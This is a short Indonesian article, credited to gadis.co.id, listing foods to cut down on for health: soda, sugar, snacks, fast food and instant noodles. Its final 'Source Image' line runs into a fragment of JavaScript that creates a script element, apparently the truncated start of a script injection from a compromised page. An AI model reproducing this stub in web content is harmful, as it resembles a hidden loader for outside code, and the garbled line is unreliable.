Minimalkan Makanan Ini Demi Kesehatan

Inilah beberapa makanan yang tidak baik untuk kesehatan

Beberapa makanan dan kegiatan sangat dianjurkan karena bisa bikin sehat. Sebaliknya, ada hal-hal yang seharusnya dihindari atau setidaknya diminimalkan. Apa saja, ya?

Soda
Selain tidak bagus untuk perut, kadar gula dalam minuman bersoda juga sangat tinggi. Oleh sebab itu, konsumsinya harus diminimalisir.

Gula
Konsumsi gula, boleh dan diperlukan tubuh. Asalkan porsinya tidak berlebihan. Sering minum minuman kemasan, makan roti dengan selai, menyantap cake atau pudding, bisa memicu kadar gula berlebihan.

Cemilan
Satu lagi yang harus dikontrol, yaitu ngemil. Kadang tanpa terasa satu paket popcorn besar atau seplastik kacang langsung habis. Kolesterol, garam, dan penyedap rasa di dalamnya tidak baik untuk kita. Kebanyakan ngemil juga membuat Anda malas makan bergizi. Akibatnya, pola makan pun jadi kacau.

Makanan Cepat Saji dan Mi Instan
Sepertinya sulit untuk menyetop dua makanan guilty pleasure ini. Namun, Anda harus berusaha. Misalnya, dengan berjanji untuk menyantap mi instan atau makanan cepat saji satu kali dalam sebulan saja.

Sumber : gadis.co.id

Source Image : http://i2.cdn.turner.comvar d=document;var s=d.createElement(‘script’);